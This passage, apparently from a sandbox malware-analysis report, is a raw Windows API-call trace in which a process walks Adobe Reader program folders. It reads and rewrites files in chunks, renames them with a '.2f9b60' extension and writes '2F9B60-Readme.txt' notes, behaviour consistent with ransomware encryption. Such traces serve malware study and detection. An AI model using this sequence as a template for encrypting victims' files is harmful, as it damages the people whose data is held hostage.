0x10d03679 [0151.666] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x38079306 [0151.666] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x53af82c4 [0151.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffc90 [0151.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0151.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffcc0 [0151.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0151.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffc60) returned 1 [0151.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f250) returned 1 [0151.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42532110 [0151.676] SetFilePointerEx (in: hFile=0x255c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.676] ReadFile (in: hFile=0x255c, lpBuffer=0x42532110, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3443f8c0, lpOverlapped=0x0 | out: lpBuffer=0x42532110*, lpNumberOfBytesRead=0x3443f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0151.704] SetFilePointerEx (in: hFile=0x255c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0151.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0151.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffcf0 [0151.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffcf0) returned 1 [0151.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4253d540 [0151.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffcf0 [0151.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffd80 [0151.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffd80) returned 1 [0151.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0151.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0151.706] WriteFile (hFile=0x255c, lpBuffer=0x4253d540, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3443f8c0, lpOverlapped=0x0) [0194.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4253d540) returned 1 [0194.368] SetFilePointerEx (in: hFile=0x255c, liDistanceToMove=0x92400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.368] ReadFile (in: hFile=0x255c, lpBuffer=0x42532110, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3443f8c0, lpOverlapped=0x0 | out: lpBuffer=0x42532110*, lpNumberOfBytesRead=0x3443f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.538] SetFilePointerEx (in: hFile=0x255c, liDistanceToMove=0x92400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba3e0 [0194.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a42b0 [0194.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a42b0) returned 1 [0194.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4285daa0 [0194.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a42b0 [0194.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4430 [0194.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4430) returned 1 [0194.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba3e0) returned 1 [0194.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.542] WriteFile (in: hFile=0x255c, lpBuffer=0x4285daa0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3443f8c0, lpOverlapped=0x0 | out: lpBuffer=0x4285daa0*, lpNumberOfBytesWritten=0x3443f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4285daa0) returned 1 [0205.375] SetFilePointerEx (in: hFile=0x255c, liDistanceToMove=0x11dfa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.376] ReadFile (in: hFile=0x255c, lpBuffer=0x42532110, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3443f8c0, lpOverlapped=0x0 | out: lpBuffer=0x42532110*, lpNumberOfBytesRead=0x3443f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.475] SetFilePointerEx (in: hFile=0x255c, liDistanceToMove=0x11dfa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c10 [0205.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c10) returned 1 [0205.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ab8ed0 [0205.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c10 [0205.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d00 [0205.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d00) returned 1 [0205.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.480] WriteFile (in: hFile=0x255c, lpBuffer=0x42ab8ed0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3443f8c0, lpOverlapped=0x0 | out: lpBuffer=0x42ab8ed0*, lpNumberOfBytesWritten=0x3443f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab8ed0) returned 1 [0215.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431058a0 [0215.109] SetFilePointerEx (in: hFile=0x255c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.109] WriteFile (in: hFile=0x255c, lpBuffer=0x430bd7a0*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3443f970, lpOverlapped=0x0 | out: lpBuffer=0x430bd7a0*, lpNumberOfBytesWritten=0x3443f970*=0x154, lpOverlapped=0x0) returned 1 [0219.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62730 [0219.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde70 [0219.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde70) returned 1 [0219.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fde70 [0219.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdea0 [0219.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe0e0 [0219.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe0e0) returned 1 [0219.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62730) returned 1 [0219.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce62730 [0219.320] sprintf (in: _Dest=0x1ce62730, _Format="%c%c" | out: _Dest="e0") returned 2 [0219.320] sprintf (in: _Dest=0x1ce62732, _Format="%c%c" | out: _Dest="19") returned 2 [0219.320] sprintf (in: _Dest=0x1ce62734, _Format="%c%c" | out: _Dest="70") returned 2 [0219.320] sprintf (in: _Dest=0x1ce62736, _Format="%c%c" | out: _Dest="37") returned 2 [0219.320] sprintf (in: _Dest=0x1ce62738, _Format="%c%c" | out: _Dest="90") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6273a, _Format="%c%c" | out: _Dest="9e") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6273c, _Format="%c%c" | out: _Dest="5e") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6273e, _Format="%c%c" | out: _Dest="20") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62740, _Format="%c%c" | out: _Dest="6d") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62742, _Format="%c%c" | out: _Dest="ce") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62744, _Format="%c%c" | out: _Dest="cd") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62746, _Format="%c%c" | out: _Dest="58") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62748, _Format="%c%c" | out: _Dest="92") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6274a, _Format="%c%c" | out: _Dest="ae") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6274c, _Format="%c%c" | out: _Dest="b4") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6274e, _Format="%c%c" | out: _Dest="26") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62750, _Format="%c%c" | out: _Dest="8c") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62752, _Format="%c%c" | out: _Dest="ae") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62754, _Format="%c%c" | out: _Dest="12") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62756, _Format="%c%c" | out: _Dest="d4") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62758, _Format="%c%c" | out: _Dest="9e") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6275a, _Format="%c%c" | out: _Dest="3c") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6275c, _Format="%c%c" | out: _Dest="61") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6275e, _Format="%c%c" | out: _Dest="95") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62760, _Format="%c%c" | out: _Dest="3a") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62762, _Format="%c%c" | out: _Dest="1b") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62764, _Format="%c%c" | out: _Dest="ca") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62766, _Format="%c%c" | out: _Dest="f8") returned 2 [0219.321] sprintf (in: _Dest=0x1ce62768, _Format="%c%c" | out: _Dest="5e") returned 2 [0219.321] sprintf (in: _Dest=0x1ce6276a, _Format="%c%c" | out: _Dest="50") returned 2 [0219.322] sprintf (in: _Dest=0x1ce6276c, _Format="%c%c" | out: _Dest="af") returned 2 [0219.322] sprintf (in: _Dest=0x1ce6276e, _Format="%c%c" | out: _Dest="f8") returned 2 [0219.322] sprintf (in: _Dest=0x1ce62770, _Format="%c%c" | out: _Dest="58") returned 2 [0219.322] sprintf (in: _Dest=0x1ce62772, _Format="%c%c" | out: _Dest="56") returned 2 [0219.322] RtlInitAnsiString (in: DestinationString=0x3443f9e8, SourceString="e0197037909e5e206dcecd5892aeb4268cae12d49e3c61953a1bcaf85e50aff85856" | out: DestinationString="e0197037909e5e206dcecd5892aeb4268cae12d49e3c61953a1bcaf85e50aff85856") [0219.322] RtlAnsiStringToUnicodeString (in: DestinationString=0x3443f9b8, SourceString="e0197037909e5e206dcecd5892aeb4268cae12d49e3c61953a1bcaf85e50aff85856", AllocateDestinationString=1 | out: DestinationString="e0197037909e5e206dcecd5892aeb4268cae12d49e3c61953a1bcaf85e50aff85856") returned 0x0 [0219.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431caea0 [0219.322] wcscat (in: _Dest=0x431113e0, _Source="e0197037909e5e206" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\e0197037909e5e206") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\e0197037909e5e206" [0219.322] wcscat (in: _Dest=0x431113e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\e0197037909e5e206.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\e0197037909e5e206.2f9b60" [0219.322] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\e0197037909e5e206.2f9b60", NtPathName=0x3443f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\e0197037909e5e206.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4310deb0 [0222.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310deb0) returned 1 [0222.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43081060) returned 1 [0222.354] NtQueryInformationFile (in: FileHandle=0x255c, IoStatusBlock=0x3443f9f8, FileInformation=0x3443fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3443f9f8, FileInformation=0x3443fa08) returned 0x0 [0222.355] NtSetInformationFile (FileHandle=0x255c, IoStatusBlock=0x3443f9f8, FileInformation=0x3443fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431113e0) returned 1 [0223.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431caea0) returned 1 [0223.515] FlushFileBuffers (hFile=0x255c) returned 1 [0224.006] CloseHandle (hObject=0x255c) returned 1 [0224.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ada20 [0224.932] wcscpy (in: _Dest=0x202ada20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\" [0224.932] wcscat (in: _Dest=0x202ada20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\2F9B60-Readme.txt" [0224.933] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\2f9b60-readme.txt")) returned 0xffffffff [0224.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1550 [0225.437] WriteFile (in: hFile=0x1550, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3443f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3443f8b0*=0xba9, lpOverlapped=0x0) returned 1 [0225.960] CloseHandle (hObject=0x1550) returned 1 [0226.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ada20) returned 1 [0226.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c870) returned 1 [0226.544] FindNextFileW (in: hFindFile=0x1ced5ec0, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 0 [0226.544] FindClose (in: hFindFile=0x1ced5ec0 | out: hFindFile=0x1ced5ec0) returned 1 [0226.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61910) returned 1 [0226.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bc80) returned 1 [0226.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 Thread: id = 2049 os_tid = 0x1300 [0137.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060ab0 [0137.895] wcscpy (in: _Dest=0x42060ab0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0137.895] wcscat (in: _Dest=0x42060ab0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0137.895] wcscat (in: _Dest=0x42060ab0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*" [0137.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60320 [0137.895] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5f20 [0137.898] wcscmp (_String1=".", _String2=".") returned 0 [0137.899] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.899] wcscmp (_String1="..", _String2=".") returned 1 [0137.899] wcscmp (_String1="..", _String2="..") returned 0 [0137.899] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0137.899] wcscmp (_String1="CAT", _String2=".") returned 1 [0137.899] wcscmp (_String1="CAT", _String2="..") returned 1 [0137.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060b30 [0137.899] wcscpy (in: _Dest=0x42060b30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0137.899] wcscat (in: _Dest=0x42060b30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0137.899] wcscat (in: _Dest=0x42060b30, _Source="CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" [0151.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868d40 [0151.643] wcscpy (in: _Dest=0x1b868d40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" [0151.643] wcscat (in: _Dest=0x1b868d40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" [0151.643] wcscat (in: _Dest=0x1b868d40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*" [0151.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9bb50 [0151.643] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c4f0 [0151.695] wcscmp (_String1=".", _String2=".") returned 0 [0151.695] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.695] wcscmp (_String1="..", _String2=".") returned 1 [0151.695] wcscmp (_String1="..", _String2="..") returned 0 [0151.695] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0151.695] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0151.695] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0151.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86b670 [0151.696] wcscpy (in: _Dest=0x1b86b670, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" [0151.696] wcscat (in: _Dest=0x1b86b670, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" [0151.696] wcscat (in: _Dest=0x1b86b670, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini" [0151.696] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\eula.ini")) returned 0x20 [0151.711] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini", dwFileAttributes=0x20) returned 1 [0151.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2574 [0151.713] GetFileSizeEx (in: hFile=0x2574, lpFileSize=0x3498f710 | out: lpFileSize=0x3498f710*=1180) returned 1 [0151.713] SetFilePointerEx (in: hFile=0x2574, liDistanceToMove=0x498, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.713] ReadFile (in: hFile=0x2574, lpBuffer=0x3498f690, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3498f6d8, lpOverlapped=0x0 | out: lpBuffer=0x3498f690*, lpNumberOfBytesRead=0x3498f6d8*=0x4, lpOverlapped=0x0) returned 1 [0151.732] SetFilePointerEx (in: hFile=0x2574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffdb0 [0151.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffe10 [0151.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffea0 [0151.732] NtQuerySystemTime (in: CurrentTime=0x3498f5d0 | out: CurrentTime=0x3498f5d0*=132462177569434000) returned 0x0 [0151.732] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x88b4ed [0151.732] RtlRandomEx (in: Seed=0x3498f5c0 | out: 